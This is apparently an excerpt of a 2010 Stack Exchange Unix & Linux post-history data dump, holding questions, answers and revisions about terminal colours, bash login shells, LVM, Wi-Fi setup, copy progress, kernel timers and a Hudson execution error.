&lt;code&gt;\\e]4;&lt;em&gt;NUMBER&lt;/em&gt;;&lt;em&gt;VALUE&lt;/em&gt;\\a&lt;/code&gt; will change the appearance of color *NUMBER*. *NUMBER* is a color number (0–7 for the eight basic colors, 8–15 for the bright versions, and more if the terminal supports more colors). The *VALUE* is something that [XParseColor](http://www.x.org/archive/X11R6.8.1/doc/XParseColor.3.html) understands, such as an RGB specification `#123456` or an [X color name](http://en.wikipedia.org/wiki/X11_color_names) (look for `rgb.txt` on your machine, or use `xcolors` to see the possibilities).&#xD;&#xA;&#xD;&#xA;For example, the following command changes the basic blue color (color 4) and its bright variant (4+8) to contain some green:&#xD;&#xA;&#xD;&#xA;    printf '\033]4;4;#004080;12;#0040ff\007'&#xD;&#xA;&#xD;&#xA;Note that this changes every character currently displayed in this particular color in the window. There is no way to change the meaning of a color only for subsequently displayed characters; if that's what you want, you'll have to configure each program displaying inside the terminal to use different color numbers when talking to the terminal.&#xD;&#xA;&#xD;&#xA;Having this happen exactly when you're typing in an ssh session will be very complicated, but handling the common cases is reasonably simple: use a wrapper around ssh that changes the color palette, then runs ssh, and finally changes the color palette back. Examples of cases this won't handle are suspending the ssh process and running ssh inside screen or tmux.&#xD;&#xA;" />
  <row Id="7621" PostHistoryTypeId="5" PostId="3450" RevisionGUID="15d7358a-13dc-4e5c-932d-b578d983e60e" CreationDate="2010-10-27T23:17:21.320" UserId="885" Comment="show how to detect an interactive shell" Text="First of all, make sure your favorite bash is in `$PATH` before the system one. Also set the environment variable `SHELL` to the full path to your favorite interactive shell (presumably your own installed version of bash).&#xD;&#xA;&#xD;&#xA;You can't set your own shell as login shell without root's intervention, but usually you don't need anything better than POSIX sh in `~/.profile` anyway. You can put `exec $SHELL` at the end of `~/.profile` so that you get your favorite interactive shell in console or ssh sessions, but make sure that you don't do it from shells that are not interactive (for example, some Linux distributions have X session scripts that start with `#!/bin/bash --login`). It is difficult to detect precisely when it is reasonable to call `exec` in `.profile`, but testing that the shell is interactive works in most cases; you can do something like this:&#xD;&#xA;&#xD;&#xA;    case $- in&#xD;&#xA;      *i*) :;;&#xD;&#xA;      *) exec &quot;$SHELL&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;If you're not root, that's about all you can do. In particular, scripts headed `#!/bin/bash` will keep on using the system bash, while scripts headed `#!/usr/bin/env bash` will use yours.&#xD;&#xA;&#xD;&#xA;If you are root, you can add your bash installation to `/etc/shells`, after which you can use `chsh` to change your login shell to it. You can also replace `/bin/bash` by your own version, but I wouldn't recommend this for such a critical system component. If you really want to replace `/bin/bash`, at least keep your package manager happy; on a dpkg-based system, you can use `dpkg-divert`.&#xD;&#xA;" />
  <row Id="7622" PostHistoryTypeId="2" PostId="3574" RevisionGUID="9600841c-a156-4f4d-a4bf-f94ccd83bb39" CreationDate="2010-10-28T04:59:44.957" UserId="2445" Text="okay growing the lv was rather painless. So say I wanted to add 20 GB to the xenvm01 lv. as root I just type 'lvextend -L+20GB /dev/VolGroup01/xenvm01'this will add the 20 GB to the guest but as unallocated space. there is no filesystem and its not partitioned. (working on finding that solution now). " />
  <row Id="7624" PostHistoryTypeId="5" PostId="3543" RevisionGUID="979778d3-c793-4c08-8c11-b5f431afc7e6" CreationDate="2010-10-28T08:01:37.983" UserId="653" Comment="added 111 characters in body; added 2 characters in body" Text="Hello everyone,&#xD;&#xA;&#xD;&#xA;Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. `alias cdwww=~/public_html/current_project/www` , and so on.&#xD;&#xA;&#xD;&#xA;**My question is** : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;&#xD;&#xA;**Another question** : how do I make my newly created aliases work in all consoles? Is there a way I can detect every opened terminal in konsole or in gnome-terminal and execute my function in it?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi" />
  <row Id="7625" PostHistoryTypeId="5" PostId="2665" RevisionGUID="c3d4c3f2-f443-4f42-9a85-e60ec9cd2062" CreationDate="2010-10-28T09:04:21.830" UserId="1327" Comment="added 74 characters in body" Text="I had some success using **[bashrun][1]**, its simple, with many features and very costumizable.&#xD;&#xA;&#xD;&#xA;a few [screenshots][2]:&#xD;&#xA;&#xD;&#xA;![bashrun][3]  &#xD;&#xA;&#xD;&#xA;![large][4]&#xD;&#xA;&#xD;&#xA;  [1]:http://bashrun.sourceforge.net/&#xD;&#xA;  [2]:http://bashrun.sourceforge.net/screenshots.htm&#xD;&#xA;  [3]:http://bashrun.sourceforge.net/screenshot.jpg&#xD;&#xA;  [4]:http://bashrun.sourceforge.net/screenshot-complete.jpg" />
  <row Id="7626" PostHistoryTypeId="5" PostId="2659" RevisionGUID="1605bcc0-adff-4a1f-82d3-856d21b6da5f" CreationDate="2010-10-28T09:05:05.653" UserId="1327" Comment="added 5 characters in body" Text="As tante said, use `wpa_supplicant`. &#xD;&#xA;&#xD;&#xA;Here is the  [ArchLinux wiki](http://wiki.archlinux.org/index.php/WPA_Supplicant) on it.&#xD;&#xA;&#xD;&#xA;have fun :)" />
  <row Id="7627" PostHistoryTypeId="5" PostId="2480" RevisionGUID="47af2659-7f03-464c-9447-3d3714c9c1fa" CreationDate="2010-10-28T09:06:03.407" UserId="1327" Comment="deleted 10 characters in body; edited tags" Text="Is there a way to join a password protected wireless network via the command line in installations of Ubuntu or Arch Linux with no desktop environment or any GUI installed?&#xD;&#xA;&#xD;&#xA;Also, could this be done during a text-based installation and set up of those systems? Just for example, this might be important when installing (without a GUI) from a live CD where many packages need to be downloaded, but only a password protected wireless network is available.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="7628" PostHistoryTypeId="6" PostId="2480" RevisionGUID="47af2659-7f03-464c-9447-3d3714c9c1fa" CreationDate="2010-10-28T09:06:03.407" UserId="1327" Comment="deleted 10 characters in body; edited tags" Text="écommandölineàéubuntuàéarchölinuxàéwirelessà" />
  <row Id="7629" PostHistoryTypeId="2" PostId="3575" RevisionGUID="8fce1a46-afa6-41ab-acf6-e258e72d7211" CreationDate="2010-10-28T13:18:12.813" UserId="1253" Text="Is this possible?  &#xD;&#xA;" />
  <row Id="7630" PostHistoryTypeId="1" PostId="3575" RevisionGUID="8fce1a46-afa6-41ab-acf6-e258e72d7211" CreationDate="2010-10-28T13:18:12.813" UserId="1253" Text="Display transfer speed when performing &quot;cp&quot; from the command line? " />
  <row Id="7631" PostHistoryTypeId="3" PostId="3575" RevisionGUID="8fce1a46-afa6-41ab-acf6-e258e72d7211" CreationDate="2010-10-28T13:18:12.813" UserId="1253" Text="écpàéfileötransferàéclià" />
  <row Id="7632" PostHistoryTypeId="2" PostId="3576" RevisionGUID="a1ee5907-de42-4cf4-9b4a-db76d79e120b" CreationDate="2010-10-28T13:50:52.270" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;Could you please give any basic example of a kernel timer (start_ktimer) implementation in Linux?&#xD;&#xA;&#xD;&#xA;/renjith_g&#xD;&#xA;" />
  <row Id="7633" PostHistoryTypeId="1" PostId="3576" RevisionGUID="a1ee5907-de42-4cf4-9b4a-db76d79e120b" CreationDate="2010-10-28T13:50:52.270" UserId="2269" Text="Example for kernel timer Implementation in Linux (in kernel 2.6.32)" />
  <row Id="7634" PostHistoryTypeId="3" PostId="3576" RevisionGUID="a1ee5907-de42-4cf4-9b4a-db76d79e120b" CreationDate="2010-10-28T13:50:52.270" UserId="2269" Text="élinuxàékernelà" />
  <row Id="7635" PostHistoryTypeId="2" PostId="3577" RevisionGUID="4e3e2299-b022-4ac8-b296-d98f96d47839" CreationDate="2010-10-28T14:07:55.010" UserId="73" Text="The standard coreutils `cp` command doesn't support this. There's a Gentoo patch floating around that adds it for different versions, although it's not included in Gentoo anymore for some reason; the version for coreutils 6.10 is [in their bugzilla](http://bugs.gentoo.org/attachment.cgi?id=182615&amp;action=view), and I'm sure there are lots of others around.&#xD;&#xA;&#xD;&#xA;If you don't want to patch `cp`, you need to use some other command. For example, `rsync` has a `--progress` flag, so you can do:&#xD;&#xA;&#xD;&#xA;    rsync --progress source destination&#xD;&#xA;&#xD;&#xA;If instead of copying you cat the data and then redirect stdout to the destination (i.e. `cat source &gt; destination`), then you can use a program that measures pipe throughput and insert it in the middle (`cat source | SOME-PROGRAM &gt; destination`); there are a couple mentioned in [this related question](http://unix.stackexchange.com/q/1537/73). The one I recommended there was [pv](http://www.ivarch.com/programs/pv.shtml) (Pipe Viewer):&#xD;&#xA;&#xD;&#xA;![Screenshot of pv from the pv homepage](http://mrozekma.com/pv.png)&#xD;&#xA;&#xD;&#xA;If you give it the `--rate` flag it will show the transfer rate" />
  <row Id="7636" PostHistoryTypeId="2" PostId="3578" RevisionGUID="8fe4cf7c-ca85-4b5d-ab22-055404938629" CreationDate="2010-10-28T14:55:33.840" UserId="33" Text="What about this text on [LWN][1]? It describes the responsible struct which should get you started.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Articles/152436/" />
  <row Id="7640" PostHistoryTypeId="5" PostId="3576" RevisionGUID="038f8866-2097-42de-9465-3f4b6cda3dec" CreationDate="2010-10-28T17:08:59.487" UserId="1327" Comment="deleted 23 characters in body; edited title" Text="Could you please give any basic example of a kernel timer (start_ktimer) implementation in Linux?" />
  <row Id="7641" PostHistoryTypeId="4" PostId="3576" RevisionGUID="038f8866-2097-42de-9465-3f4b6cda3dec" CreationDate="2010-10-28T17:08:59.487" UserId="1327" Comment="deleted 23 characters in body; edited title" Text="Example for kernel timer Implementation in Linux" />
  <row Id="7642" PostHistoryTypeId="6" PostId="3575" RevisionGUID="bc3dc9ea-cf15-4d47-be5e-8d9193fc45ef" CreationDate="2010-10-28T17:13:55.833" UserId="1327" Comment="edited tags" Text="écommandölineàécpàéfileötransferà" />
  <row Id="7643" PostHistoryTypeId="5" PostId="2003" RevisionGUID="4b13bb74-6c2d-4da1-81ad-99ca1f1fea89" CreationDate="2010-10-28T17:24:00.827" UserId="73" Comment="deleted 1 characters in body" Text="The interactive interface to your shell" />
  <row Id="7644" PostHistoryTypeId="2" PostId="3580" RevisionGUID="69295c58-b9fa-4717-9dd1-ec972d37d406" CreationDate="2010-10-28T18:12:15.440" UserId="2471" Text="I have a script that works well when I ssh to the server to execute it myself, but has problems when [Hudson](http://hudson-ci.org), a continuous integration server, runs it.&#xD;&#xA;&#xD;&#xA;I am automating tests on an embedded linux system (the target). The target is connected to Server A (RHEL 5) via serial and operated over minicom. Server B (FC 12) builds the tests that actually run on the target, and can ssh to Server A. Server C (RH) hosts Hudson, with Server B as a slave. &#xD;&#xA;&#xD;&#xA;I've written a runscript (http://linux.die.net/man/1/runscript) script to do everything needed on the actual target; it boots the image, mounts a directory from Server B and executes the tests. A bash script on Server B invokes minicom with the runscript script along with some companion actions. I have a bash script on Server B which uses &#xD;&#xA;&#xD;&#xA;    ssh -t -t ServerA bashScript.sh&#xD;&#xA;to get those tests run on the target. I am on Server C, I can get those tests run by ssh'ing to Server B and executing the script that ssh's to Server A which executes minicom with runscript. *Whew.*  To review:&#xD;&#xA;&#xD;&#xA;Server A: Hudson uses its slave mechanism to ssh to Server B.&#xD;&#xA;&#xD;&#xA;Server B: kickOffTests.sh has the line &quot;ssh -t -t ServerA runTests.sh&quot;&#xD;&#xA;&#xD;&#xA;Server A: runTests.sh calls a perl script which invokes &quot;minicom -S my.script ttyE1&quot;&#xD;&#xA;&#xD;&#xA;Target, after booting: Mounts a directory from Server B, where the tests are, and enters that directory. It invokes yet another bash script, which runs the tests, which are compiled C executables.&#xD;&#xA;&#xD;&#xA;Now, when *I* execute any of these scripts myself, they do what they should. However, when Hudson tries to do the same thing, over in the minicom session it complains about a line in the &quot;yet another bash script&quot; that invokes the C executable, ./executable, with &quot;./executable: cannot execute binary file&quot;&#xD;&#xA;&#xD;&#xA;I still have a lot to learn about linux, but I surmise this problem is a result of Hudson not connecting with a console. I don't know exactly what Hudson does to control its slave. I tried using the line &quot;export TERM=console&quot; in the configuration just before running kickOffTests.sh, but the problem remains.&#xD;&#xA;&#xD;&#xA;Can anyone explain to me what is happening and how I can fix it? I cannot remove any of the servers from this equation. It may be possible to take minicom out of the equation but that would add an unknown amount of time to this project, so I'd much prefer a solution that uses what I already have.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7645" PostHistoryTypeId="1" PostId="3580" RevisionGUID="69295c58-b9fa-4717-9dd1-ec972d37d406" CreationDate="2010-10-28T18:12:15.440" UserId="2471" Text="Differences between terminal and console connections" />
  <row Id="7646" PostHistoryTypeId="3" PostId="3580" RevisionGUID="69295c58-b9fa-4717-9dd1-ec972d37d406" CreationDate="2010-10-28T18:12:15.440" UserId="2471" Text="ésshàéterminalàéshellöscriptàéserialöconsoleà" />
  <row Id="7647" PostHistoryTypeId="5" PostId="1954" RevisionGUID="715ffdcc-f331-45ad-81bf-f45a2b23925e" CreationDate="2010-10-28T18:14:22.957" UserId="1327" Comment="added 588 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**History:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png" />
  <row Id="7648" PostHistoryTypeId="5" PostId="1954" RevisionGUID="faa73683-6a96-4d8f-b2ce-66e1c63aca7d" CreationDate="2010-10-28T18:29:41.070" UserId="1327" Comment="added 96 characters in body; added 74 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: Pacman  &#xD;&#xA; - Release Cycle: Rolling Release &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History" />
  <row Id="7649" PostHistoryTypeId="5" PostId="1954" RevisionGUID="4b12e9a4-0798-4db5-b3da-ec2e928e0c8d" CreationDate="2010-10-28T18:36:55.167" UserId="1327" Comment="added 1 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *Pacman*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History" />
  <row Id="7650" PostHistoryTypeId="5" PostId="1954" RevisionGUID="bd7a5d1e-89d2-47b0-9453-6ae561d33885" CreationDate="2010-10-28T18:56:29.097" UserId="1327" Comment="added 67 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *[Pacman][3]*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/tagged/pacman" />
  <row Id="7651" PostHistoryTypeId="2" PostId="3581" RevisionGUID="b33b1a97-3fa6-4dc8-b296-dd47d9fdae10" CreationDate="2010-10-28T19:03:20.180" UserId="885" Text="The message `cannot execute binary file` has nothing to do with terminals (I wonder what led you to think that — and I recommend avoiding making such assumptions in a question, as they tend to drown your actual problem in a mess of red herrings).&#xD;&#xA;&#xD;&#xA;In fact, it comes from bash, when you use its script inclusion command on something that doesn't look like a script. You must have written&#xD;&#xA;&#xD;&#xA;    . ./executable&#xD;&#xA;&#xD;&#xA;instead of `./executable`. The `.` builtin (or its synonym `source`) executes a script in the same environment as the caller (as opposed to calling that script as an external program). Since what you want to execute is not a shell script, the `.` builtin cannot be used here: that's what bash is telling you.&#xD;&#xA;" />
  <row Id="7652" PostHistoryTypeId="4" PostId="3580" RevisionGUID="32eb8336-26d9-4b6a-8283-65066cc20b14" CreationDate="2010-10-28T19:07:36.897" UserId="885" Comment="formatted code" Text="./executable: cannot execute binary file" />
  <row Id="7653" PostHistoryTypeId="6" PostId="3580" RevisionGUID="32eb8336-26d9-4b6a-8283-65066cc20b14" CreationDate="2010-10-28T19:07:36.897" UserId="885" Comment="formatted code" Text="ébashàéshellöscriptàéexecutableà" />
  <row Id="7654" PostHistoryTypeId="2" PostId="3582" RevisionGUID="775966da-9e63-475b-b9b1-0032ddae865a" CreationDate="2010-10-28T19:09:04.813" UserId="1327" Text="Wiki [Page][2] on ArchWiki:&#xD;&#xA;&gt; The **pacman** package manager is one of the main features of [Arch Linux][1].&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/tags/arch-linux/info &#xD;&#xA;[2]:https://wiki.archlinux.org/index.php/Pacman" />
  <row Id="7655" PostHistoryTypeId="2" PostId="3583" RevisionGUID="74743deb-1092-4f3b-b5b8-3f458896eb6c" CreationDate="2010-10-28T19:09:04.813" UserId="1327" Comment="added 69 characters in body" Text="The pacman package manager is one of the main features of Arch Linux." />
  <row Id="7656" PostHistoryTypeId="5" PostId="3580" RevisionGUID="32eb8336-26d9-4b6a-8283-65066cc20b14" CreationDate="2010-10-28T19:07:36.897" UserId="885" Comment="formatted code" Text="I have a script that works well when I ssh to the server to execute it myself, but has problems when [Hudson](http://hudson-ci.org), a continuous integration server, runs it.&#xD;&#xA;&#xD;&#xA;I am automating tests on an embedded linux system (the target). The target is connected to Server A (RHEL 5) via serial and operated over minicom. Server B (FC 12) builds the tests that actually run on the target, and can ssh to Server A. Server C (RH) hosts Hudson, with Server B as a slave. &#xD;&#xA;&#xD;&#xA;I've written a runscript (http://linux.die.net/man/1/runscript) script to do everything needed on the actual target; it boots the image, mounts a directory from Server B and executes the tests. A bash script on Server B invokes minicom with the runscript script along with some companion actions. I have a bash script on Server B which uses &#xD;&#xA;&#xD;&#xA;    ssh -t -t ServerA bashScript.sh&#xD;&#xA;to get those tests run on the target. I am on Server C, I can get those tests run by ssh'ing to Server B and executing the script that ssh's to Server A which executes minicom with runscript. *Whew.*  To review:&#xD;&#xA;&#xD;&#xA;Server A: Hudson uses its slave mechanism to ssh to Server B.&#xD;&#xA;&#xD;&#xA;Server B: `kickOffTests.sh` has the line `ssh -t -t ServerA runTests.sh`&#xD;&#xA;&#xD;&#xA;Server A: `runTests.sh` calls a perl script which invokes `minicom -S my.script ttyE1`&#xD;&#xA;&#xD;&#xA;Target, after booting: Mounts a directory from Server B, where the tests are, and enters that directory. It invokes yet another bash script, which runs the tests, which are compiled C executables.&#xD;&#xA;&#xD;&#xA;Now, when *I* execute any of these scripts myself, they do what they should. However, when Hudson tries to do the same thing, over in the minicom session it complains about a line in the &quot;yet another bash script&quot; that invokes the C executable, `./executable`, with `./executable: cannot execute binary file`&#xD;&#xA;&#xD;&#xA;I still have a lot to learn about linux, but I surmise this problem is a result of Hudson not connecting with a console. I don't know exactly what Hudson does to control its slave. I tried using the line `export TERM=console` in the configuration just before running kickOffTests.sh, but the problem remains.&#xD;&#xA;&#xD;&#xA;Can anyone explain to me what is happening and how I can fix it? I cannot remove any of the servers from this equation. It may be possible to take minicom out of the equation but that would add an unknown amount of time to this project, so I'd much prefer a solution that uses what I already have.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7657" PostHistoryTypeId="2" PostId="3584" RevisionGUID="1417b224-1532-4b6c-a062-b33e8b175d6f" CreationDate="2010-10-28T20:18:21.303" UserId="2472" Text="How do I unpack the libc6 source code on Hardy without building everything?&#xD;&#xA;&#xD;&#xA;I run&#xD;&#xA;&#xD;&#xA;    apt-get source libc6&#xD;&#xA;&#xD;&#xA;and I get&#xD;&#xA;&#xD;&#xA;    $ ls -1d glibc-2.7/*&#xD;&#xA;    glibc-2.7/debian&#xD;&#xA;    glibc-2.7/glibc-2.7.tar.bz2&#xD;&#xA;    glibc-2.7/glibc-libidn-2.7.tar.bz2&#xD;&#xA;    glibc-2.7/glibc-linuxthreads-20071023.tar.bz2&#xD;&#xA;    glibc-2.7/glibc-ports-2.7.tar.bz2&#xD;&#xA;    glibc-2.7/stamp-dir&#xD;&#xA;&#xD;&#xA;What I want is the unpacked and patched source code.&#xD;&#xA;&#xD;&#xA;Using google find this [obsolete blog][1]:&#xD;&#xA;&#xD;&#xA;Which says to run:&#xD;&#xA;&#xD;&#xA;    ./debian/rules configure_i686 &#xD;&#xA;&#xD;&#xA;But that gives me:&#xD;&#xA;&#xD;&#xA;    $ ./debian/rules configure_i686&#xD;&#xA;    make: *** No rule to make target `configure_i686'.  Stop.&#xD;&#xA;&#xD;&#xA;Besides I want to unpack for amd64 (x86_64) not i686 anyway.&#xD;&#xA;&#xD;&#xA;So what is the super-secret target for unpacking libc6 via debian/rules?&#xD;&#xA;&#xD;&#xA;I do not want to start the build process.  I not have the space for that.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://lizardo.wordpress.com/2008/05/31/setting-up-libc6-sources-for-analysis-on-debianubuntu/" />
  <row Id="7658" PostHistoryTypeId="1" PostId="3584" RevisionGUID="1417b224-1532-4b6c-a062-b33e8b175d6f" CreationDate="2010-10-28T20:18:21.303" UserId="2472" Text="How to unpack libc6 source on Hardy using debian/rules?" />
  <row Id="7659" PostHistoryTypeId="3" PostId="3584" RevisionGUID="1417b224-1532-4b6c-a062-b33e8b175d6f" CreationDate="2010-10-28T20:18:21.303" UserId="2472" Text="éubuntuàéaptà" />
  <row Id="7660" PostHistoryTypeId="5" PostId="3581" RevisionGUID="0bddc3aa-cb6f-4b24-96f2-d7f65cf43367" CreationDate="2010-10-28T20:20:42.267" UserId="885" Comment="the error is in fact ENOEXEC; suggest some additional diagnostics" Text="The message `cannot execute binary file` has nothing to do with terminals (I wonder what led you to think that — and I recommend avoiding making such assumptions in a question, as they tend to drown your actual problem in a mess of red herrings). In fact, it's bash's way of expressing `ENOEXEC` (more commonly expressed as `exec format error`.&#xD;&#xA;&#xD;&#xA;First, make sure you didn't accidentally try to run this executable as a script. If you wrote `. ./executable`, this tells bash to execute `./executable` in the same environment as the calling script (as opposed to a separate process). That can't be done if the file is not a script.&#xD;&#xA;&#xD;&#xA;Otherwise, this message means that `./executable` is not in a format that the kernel recognizes. I don't have any definite guess as to what is happening though. If you can run the script on that same machine by invoking it in a different way, it can't just be a corrupt file or a file for the wrong architecture (it might be that, but there's more to it). I wonder if there could be a difference in the way the target boots (perhaps a race condition).&#xD;&#xA;&#xD;&#xA;Here's a list of additional data that may help:&#xD;&#xA;&#xD;&#xA;* Output of `file …/executable` on server B.&#xD;&#xA;* Some information about the target, such as the output of `uname -a` if it's unix-like.&#xD;&#xA;* Check that the target sees the same file contents each time: run `cksum ./executable` or `md5sum ./executable` or whatever method you have on the target just before yet-another-bash-script invokes `./executable`. Check that the results are the same in the Hudson invocation, in your successful manual invocation and on server B.&#xD;&#xA;* Add `set -x` at the top of yet-another-bash-script (just below the `#!/bin/bash` line). This will produce a trace of everything the script does. Compare the traces and report any difference or oddity.&#xD;&#xA;* Describe how the target is booting when you run the scripts manually and when Hudson is involved. It could be that the target is booted differently and some loadable module that provides the support for the format of `./executable` doesn't get loaded (or is not loaded yet) in the Hudson invocations. You might want to use `set -x` in other scripts to help you there, and inspect the boot logs from the target.&#xD;&#xA;" />
